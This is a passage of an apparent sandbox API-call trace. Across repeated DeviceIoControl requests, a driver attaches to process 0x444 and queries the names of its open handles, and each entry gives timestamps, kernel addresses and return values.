0x0 [0136.901] ObfDereferenceObject (Object=0xfffffa800328b860) returned 0x1 [0136.901] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.902] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.902] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.902] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x112, lpOverlapped=0x0) returned 1 [0136.902] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.902] PsAcquireProcessExitSynchronization () returned 0x0 [0136.902] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054735d0) [0136.902] ObReferenceObjectByHandle (in: Handle=0x284, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa800326ec80, HandleInformation=0x0) returned 0x0 [0136.902] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.902] PsReleaseProcessExitSynchronization () returned 0x2 [0136.902] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x189 [0136.902] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001ffb044, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa8001ffb044, ReturnLength=0xfffff88005473508) returned 0x0 [0136.902] ObfDereferenceObject (Object=0xfffffa800326ec80) returned 0x1 [0136.902] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.902] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.902] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.902] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x112, lpOverlapped=0x0) returned 1 [0136.902] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.902] PsAcquireProcessExitSynchronization () returned 0x0 [0136.902] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054735d0) [0136.902] ObReferenceObjectByHandle (in: Handle=0x2a4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa800326fa10, HandleInformation=0x0) returned 0x0 [0136.902] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.902] PsReleaseProcessExitSynchronization () returned 0x2 [0136.902] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x189 [0136.902] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001fdd044, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa8001fdd044, ReturnLength=0xfffff88005473508) returned 0x0 [0136.902] ObfDereferenceObject (Object=0xfffffa800326fa10) returned 0x1 [0136.902] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.902] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.902] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.902] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0136.902] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.902] PsAcquireProcessExitSynchronization () returned 0x0 [0136.902] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054735d0) [0136.902] ObReferenceObjectByHandle (in: Handle=0x2c8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a0015eff00, HandleInformation=0x0) returned 0x0 [0136.902] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.903] PsReleaseProcessExitSynchronization () returned 0x2 [0136.903] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x189 [0136.903] ObQueryNameString (in: Object=0xfffff8a0015eff00, ObjectNameInfo=0xfffffa80019fc044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa80019fc044, ReturnLength=0xfffff88005473550) returned 0x0 [0136.903] ObfDereferenceObject (Object=0xfffff8a0015eff00) returned 0x1 [0136.903] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.903] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.903] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.903] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x122, lpOverlapped=0x0) returned 1 [0136.903] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.903] PsAcquireProcessExitSynchronization () returned 0x0 [0136.903] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054735d0) [0136.903] ObReferenceObjectByHandle (in: Handle=0x2d0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8002f78850, HandleInformation=0x0) returned 0x0 [0136.903] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.903] PsReleaseProcessExitSynchronization () returned 0x2 [0136.903] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x189 [0136.903] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80019fd044, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa80019fd044, ReturnLength=0xfffff88005473508) returned 0x0 [0136.903] ObfDereferenceObject (Object=0xfffffa8002f78850) returned 0x1 [0136.903] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.903] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.903] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.903] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x144, lpOverlapped=0x0) returned 1 [0136.903] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.903] PsAcquireProcessExitSynchronization () returned 0x0 [0136.903] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054735d0) [0136.903] ObReferenceObjectByHandle (in: Handle=0x2d4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8002b78070, HandleInformation=0x0) returned 0x0 [0136.903] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.903] PsReleaseProcessExitSynchronization () returned 0x2 [0136.903] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x189 [0136.903] ObQueryNameString (in: Object=0xfffffa8002b78070, ObjectNameInfo=0xfffffa80019fe044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa80019fe044, ReturnLength=0xfffff88005473550) returned 0x0 [0136.903] ObfDereferenceObject (Object=0xfffffa8002b78070) returned 0x11 [0136.903] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.903] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.903] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.904] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x68, lpOverlapped=0x0) returned 1 [0136.904] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.904] PsAcquireProcessExitSynchronization () returned 0x0 [0136.904] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054735d0) [0136.904] ObReferenceObjectByHandle (in: Handle=0x2d8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a0014f2d60, HandleInformation=0x0) returned 0x0 [0136.904] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.904] PsReleaseProcessExitSynchronization () returned 0x2 [0136.904] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x189 [0136.904] ObQueryNameString (in: Object=0xfffff8a0014f2d60, ObjectNameInfo=0xfffffa80019ff044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa80019ff044, ReturnLength=0xfffff88005473550) returned 0x0 [0136.904] ObfDereferenceObject (Object=0xfffff8a0014f2d60) returned 0x6 [0136.904] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.904] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.904] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.904] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x112, lpOverlapped=0x0) returned 1 [0136.904] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.904] PsAcquireProcessExitSynchronization () returned 0x0 [0136.904] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054735d0) [0136.904] ObReferenceObjectByHandle (in: Handle=0x2e0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa80114574a0, HandleInformation=0x0) returned 0x0 [0136.904] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.904] PsReleaseProcessExitSynchronization () returned 0x2 [0136.904] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x189 [0136.904] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a01044, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa8001a01044, ReturnLength=0xfffff88005473508) returned 0x0 [0136.904] ObfDereferenceObject (Object=0xfffffa80114574a0) returned 0x1 [0136.904] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.904] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.904] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.904] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x112, lpOverlapped=0x0) returned 1 [0136.904] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.904] PsAcquireProcessExitSynchronization () returned 0x0 [0136.904] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054735d0) [0136.904] ObReferenceObjectByHandle (in: Handle=0x2f0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa80034d7430, HandleInformation=0x0) returned 0x0 [0136.904] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.904] PsReleaseProcessExitSynchronization () returned 0x2 [0136.904] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x189 [0136.905] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a06044, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa8001a06044, ReturnLength=0xfffff88005473508) returned 0x0 [0136.905] ObfDereferenceObject (Object=0xfffffa80034d7430) returned 0x1 [0136.905] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.905] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.905] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.905] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x116, lpOverlapped=0x0) returned 1 [0136.905] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.905] PsAcquireProcessExitSynchronization () returned 0x0 [0136.905] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054735d0) [0136.905] ObReferenceObjectByHandle (in: Handle=0x338, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a00196fbe0, HandleInformation=0x0) returned 0x0 [0136.905] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.905] PsReleaseProcessExitSynchronization () returned 0x2 [0136.905] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x189 [0136.905] ObQueryNameString (in: Object=0xfffff8a00196fbe0, ObjectNameInfo=0xfffffa8001a07044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8001a07044, ReturnLength=0xfffff88005473550) returned 0x0 [0136.905] ObfDereferenceObject (Object=0xfffff8a00196fbe0) returned 0x2 [0136.905] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.905] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.905] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.905] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0xb0, lpOverlapped=0x0) returned 1 [0136.905] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.905] PsAcquireProcessExitSynchronization () returned 0x0 [0136.905] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054735d0) [0136.905] ObReferenceObjectByHandle (in: Handle=0x344, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a00196d800, HandleInformation=0x0) returned 0x0 [0136.905] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.905] PsReleaseProcessExitSynchronization () returned 0x2 [0136.905] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x189 [0136.905] ObQueryNameString (in: Object=0xfffff8a00196d800, ObjectNameInfo=0xfffffa8001a08044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8001a08044, ReturnLength=0xfffff88005473550) returned 0x0 [0136.905] ObfDereferenceObject (Object=0xfffff8a00196d800) returned 0x7 [0136.905] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.905] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.905] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.905] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0xb0, lpOverlapped=0x0) returned 1 [0136.905] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.906] PsAcquireProcessExitSynchronization () returned 0x0 [0136.906] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054735d0) [0136.906] ObReferenceObjectByHandle (in: Handle=0x34c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a00196d800, HandleInformation=0x0) returned 0x0 [0136.906] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.906] PsReleaseProcessExitSynchronization () returned 0x2 [0136.906] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x189 [0136.906] ObQueryNameString (in: Object=0xfffff8a00196d800, ObjectNameInfo=0xfffffa800240c744, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa800240c744, ReturnLength=0xfffff88005473550) returned 0x0 [0136.906] ObfDereferenceObject (Object=0xfffff8a00196d800) returned 0x7 [0136.906] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.906] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.906] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.906] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x116, lpOverlapped=0x0) returned 1 [0136.906] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.906] PsAcquireProcessExitSynchronization () returned 0x0 [0136.906] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054735d0) [0136.906] ObReferenceObjectByHandle (in: Handle=0x350, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a001973760, HandleInformation=0x0) returned 0x0 [0136.906] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.906] PsReleaseProcessExitSynchronization () returned 0x2 [0136.906] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x189 [0136.906] ObQueryNameString (in: Object=0xfffff8a001973760, ObjectNameInfo=0xfffffa800390e204, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa800390e204, ReturnLength=0xfffff88005473550) returned 0x0 [0136.906] ObfDereferenceObject (Object=0xfffff8a001973760) returned 0x2 [0136.906] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.906] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.906] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.907] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x112, lpOverlapped=0x0) returned 1 [0136.907] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.907] PsAcquireProcessExitSynchronization () returned 0x0 [0136.907] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054735d0) [0136.907] ObReferenceObjectByHandle (in: Handle=0x378, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa80034d1680, HandleInformation=0x0) returned 0x0 [0136.907] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.907] PsReleaseProcessExitSynchronization () returned 0x2 [0136.907] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x189 [0136.907] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800231d7c4, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa800231d7c4, ReturnLength=0xfffff88005473508) returned 0x0 [0136.907] ObfDereferenceObject (Object=0xfffffa80034d1680) returned 0x1 [0136.907] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.907] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.907] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.907] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x112, lpOverlapped=0x0) returned 1 [0136.907] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.907] PsAcquireProcessExitSynchronization () returned 0x0 [0136.907] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054735d0) [0136.907] ObReferenceObjectByHandle (in: Handle=0x3ec, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa80028d9470, HandleInformation=0x0) returned 0x0 [0136.907] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.907] PsReleaseProcessExitSynchronization () returned 0x2 [0136.907] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x189 [0136.907] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800208f044, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa800208f044, ReturnLength=0xfffff88005473508) returned 0x0 [0136.907] ObfDereferenceObject (Object=0xfffffa80028d9470) returned 0x1 [0136.907] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.907] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.907] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.907] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x116, lpOverlapped=0x0) returned 1 [0136.907] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.907] PsAcquireProcessExitSynchronization () returned 0x0 [0136.907] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054735d0) [0136.907] ObReferenceObjectByHandle (in: Handle=0x3f4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a001a97420, HandleInformation=0x0) returned 0x0 [0136.907] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0136.907] PsReleaseProcessExitSynchronization () returned 0x2 [0136.907] ObfDereferenceObject (Object=0xfffffa8003232060) returned 0x189 [0136.907] ObQueryNameString (in: Object=0xfffff8a001a97420, ObjectNameInfo=0xfffffa800384d744, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa800384d744, ReturnLength=0xfffff88005473550) returned 0x0 [0136.908] ObfDereferenceObject (Object=0xfffff8a001a97420) returned 0x2 [0136.908] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0136.908] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0136.908] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0136.908] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x116, lpOverlapped=0x0) returned 1 [0136.908] PsLookupProcessByProcessId (in: ProcessId=0x444, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0136.908] PsAcquireProcessExitSynchronization () returned 0x0 [0136.908] KeStackAttachProcess (in: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8003232060, ApcState=0xfffff880054735d0) [0136.908] ObReferenceObjectByHandle (in: Handle=0x3fc, 